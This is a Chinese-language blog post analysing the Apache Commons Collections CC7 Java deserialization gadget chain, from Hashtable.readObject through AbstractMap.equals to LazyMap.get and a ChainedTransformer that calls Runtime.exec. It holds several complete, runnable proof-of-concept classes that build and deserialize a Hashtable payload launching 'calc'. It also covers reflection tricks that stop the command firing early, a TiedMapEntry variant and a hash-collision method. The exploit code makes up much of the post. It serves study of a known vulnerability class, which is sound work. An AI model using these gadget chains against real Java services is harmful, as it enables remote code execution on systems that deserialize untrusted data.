CC7分析与利用
cc7分析
cc7也是接着LazyMap.get()方法向上找。
这里先给出LazyMap.get()执行命令的构造:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object, Object> Lazy = LazyMap.decorate(map,cha);
Lazy.get(Runtime.getRuntime());
}
}
接着就又是向上找嘛,但这里我们就不找了,看了 ysoserial 的 cc7 中是利用的Hashtable.readObject()
作为起点类,进行正向分析
Hashtable.readObject
跟进到Hashtable.readObject():
在最后调用的是reconstitutionPut方法,这里的key,value值可以通过hashtable中的put方法进行添加。(回忆一下在cc6中的hashmap最后是调用的putValue中的hash函数来触发的hashcode,key,value也是通过put方法来添加的;而hashset是最后是调用的put方法,值是利用add添加)。
跟进到reconstitutionPut方法中看看:
这里关键在于equals方法的调用(hashcode也可以做文章后面再说),先进入for语句,然后就是个if判断语句了,执行了e.hash
和e.key.equals(key)
。不过Java语言还存在一个布尔短路运输的特性,也就是说当e.hash == hash
判定为假,就会直接退出if语句,导致不执行e.key.equals(key)
。所以我们还得让e.hash == hash
为真,
hash
就是key.hashcode
嘛。那么再看e是什么:
Entry<?,?> e = tab[index] ; e != null ; e = e.next
这里可能还有点迷,继续看看index是什么
int index = (hash & 0x7FFFFFFF) % tab.length;
通过以上分析,这里大概意思就是先计算出key
的hash
值,然后根据hash
值计算存储索引index
,再通过for
循环得到e.next
也就是上一个map
键值对,最后进入if
判断比较两者hash
值是否相同,不同就把这个键值对加入到tab
中。当然我们想要的是两个键值对的key
的hash
相同。这里是循环添加键值对到tab
中,很显然当只有一个键值对的时候,hash
肯定不相同,我们需要至少两个键值对,当第一个键值对添加后,第二个和第一个进行比较,所以要执行两次put语句。
那是不是直接把两个键值对的key值改为一样就行了,这个在readObject
中进行了判断:
看到最下面还原table数组时是根据elements
来判断的,而如果key相同时 element 计算会把两个 map 计算为只有一个 map。这个可以里hash碰撞进行解决。
AbstractMapDecorator.equals
继续看会调用equals方法,在ysoserial中把e.key
为LazyMap
对象,但是LazyMap
对象没有equals
方法,不过它继承了AbstractMapDecorator
类,所以会调用AbstractMapDecorator
类的equals
方法:
然后还会调用map.equals()
,那么这里的map是什么呢,朔源到LazyMap
中,发现在我们在构造poc时为了使LazyMap
调用到ChainedTransformer
的transform
方法,用了LazyMap.decorate(map,chainedTransformer);
而这里的map就是HashMap
,但是HashMap
中没有equals
方法,发现它继承了AbstractMap
类。
AbstractMap.equals
跟进到AbstractMap
类中的equals
方法:
在这里进行了get方法的调用,条件是当value不为null时。其中m为传入equals的Object,我们需要让m为LazyMap对象,朔源也就是key要为LazyMap对象:
意思时e.key和key都要为LazyMap对象,这是什么意思呢,刚刚不是说了两个键值对的键不能相同嘛。所以可以让LazyMap的map中的key值不一样或者value值不一样。意思是这里table的key是个map数组,那么最上面的key.hashcode又是怎么计算的呢?后面调试会发现key.hashcode传入的是数组的话,最后的hash值是key的hash值异或value的hash值。
所以归根结底还是只用让为LazyMap对象中map键值对的key不同而其hash值相同就行了,value就设为一样的就行(因为也要保证其hash值一样)。
那么构造:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
Lazy1.put("yy",1);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2, cha);
Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,1);
hashtable.put(Lazy2,1);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
yy和zZ的hash值是一样的,原理看最下面。运行执行了计算机,但是不是在反序列化执行的。
解决put问题一、
看了师傅们的文章发现是在hashtable.put(Lazy2,1);
出的问题,跟进put方法
看到put方法中这串代码怎么这么熟悉。那是不是在进行判断后会像上面设计的一样直接调用到get方法,注释掉序列化和反序列化对get方法打断点,发现在执行第二个put方法的时候直接调用了get方法,然后提前执行命令,还有就是和cc6一样的问题,因为get在执行后会添加key值,导致反序列化的时候就不能执行到transform方法了。
所以在put后最后要删掉Lazy2的yy键值对
Lazy2.remove("yy");
至此其实已经可以反序列化并执行命令了。
解决put问题二、
为了更完美使其在put的时候不会执行命令,可以仿造cc6先把transformer对象随便弄一个然后在利用反射修改factory
属性
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
Lazy1.put("yy",1);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(1));
Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,1);
hashtable.put(Lazy2,1);
Lazy2.remove("yy");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy2, cha);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
但是发现失败了,发现在最后的table
里面只put进了一个数组:
这是怎么一回事呢?发现关键在AbstractMap
的equals
方法,在这里会进行判断,会判断value
和m.get(key)
返回的值一样不,由于我这里是new ConstantTransformer(1)
所以最后返回的是1,不满足这个if条件,返回了true
然后返回true又有什么用,后面确实没调出来。第二天问了nn0nkey k1n9师傅,经过nn0nkey k1n9师傅指点迷津后,总算是明白了。
继续跟进:
也就是最开始调用的AbstractMapDecorator.equals会返回true,然后来到:
不难看到返回true满足if条件后并不会执行addEntry
函数,所以这里也就没添加进去,哦~ 原来如此。
那么我们让AbstractMap
的equals
方法返回false就行了,所以构造
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
Map<Object, Object> Lazy1 = LazyMap.decorate(map1,cha);
Lazy1.put("yy",1);
Map<Object, Object> Lazy2 = LazyMap.decorate(map2,new ConstantTransformer(2));
Lazy2.put("zZ",1);
Hashtable hashtable = new Hashtable();
hashtable.put(Lazy1,1);
hashtable.put(Lazy2,1);
Lazy2.remove("yy");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy2, cha);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
只要那里不相等就行。在ysoserial中也给出来解决办法,它是构造了一个空的Transformer数组
Transformer[] faketransformers = new Transformer[] {};
然后把它传入ChainedTransformer,这样也满足条件,最后在反射修改ChainedTransformer的数组变量。
CC7的hashcode
在上面计算hash调用了hashcode方法,那是不是可以和cc6一样,把key变为TiedMapEntry
,然后触发到TiedMapEntry
的hashcode
方法。
构造poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
public class CC6test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
ChainedTransformer cha = new ChainedTransformer(transformers);
HashMap map2 = new HashMap();
Map<Object, Object> Lazy = LazyMap.decorate(map2,new ConstantTransformer(1));
Lazy.put("zZ",1);
TiedMapEntry tie = new TiedMapEntry(Lazy,"aaa");
Hashtable hashtable = new Hashtable();
hashtable.put(tie,1);
Lazy.remove("aaa");
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(Lazy, cha);
serilize(hashtable);
deserilize("111.bin");
}
public static void serilize(Object obj)throws IOException {
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
哈希碰撞底层分析
调试跟进到hashcode的最底层算法:
for通过字符串长度来遍历字符的所有字母,然后进行计算,最开始是两个字母,这两个字母的hash又会轮下去影响后面的hash。
hash = 31 * val[i-1] + val[i]
例如传入"GRYS"
那么计算其最开始的两个字母为
hash = 31 * 71 + 82
可以构造其相等hash为
hash = 31 * 70 + 113
也就是为"Fq"。后面是轮回运算,所以后面字母就不变了。
测试:
参考:https://nivi4.notion.site/Java-CommonCollections7-ef80bc3e4c1c47508a5762ac455a6cda
参考:https://blog.csdn.net/qq_35733751/article/details/119862728
参考:https://www.cnblogs.com/thebeastofwar/p/17842892.html
标签:java,org,CC7,Object,利用,详细,new,import,class From: https://blog.csdn.net/2301_79700060/article/details/140066898